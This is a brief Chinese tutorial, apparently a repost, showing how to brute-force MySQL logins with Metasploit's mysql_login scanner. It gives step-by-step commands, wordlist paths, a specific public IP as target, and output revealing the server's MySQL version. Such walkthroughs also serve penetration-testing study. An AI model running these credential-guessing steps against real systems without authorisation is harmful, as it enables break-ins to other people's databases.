msf mysql prot:3306

走远了吗. 提交于 2020-04-24 12:42:04
  1. nmap扫出3306端口的话,就往下;

  2. 搜索漏洞

msf > search  mysql_login
  1. 使用该漏洞
msf > use auxiliary/scanner/mysql/mysql_login
  1. 查看该漏洞用法
msf auxiliary(mysql_login) > show options
  1. 向rhosts输入ip,看到可以正常访问mysql
msf auxiliary(mysql_login) > set rhosts 121.42.27.192
  1. 找一个测试爆破的用户名字典和密码字典进行爆破
msf auxiliary(mysql_login) > set user_file  /usr/share/metasploit-framework/data/wordlists/unix_users.txt  

msf auxiliary(mysql_login) > set pass_file   /usr/share/sparta/wordlists/mysql-default-userpass.txt  
  1. run
msf auxiliary(mysql_login) > run

# 运行可以查看到mysql版本为5.6.29
[*] 121.42.27.192:3306 MYSQL - Found remote MySQL version 5.6.29
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
# 看到绿色加号即为破解成功!
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!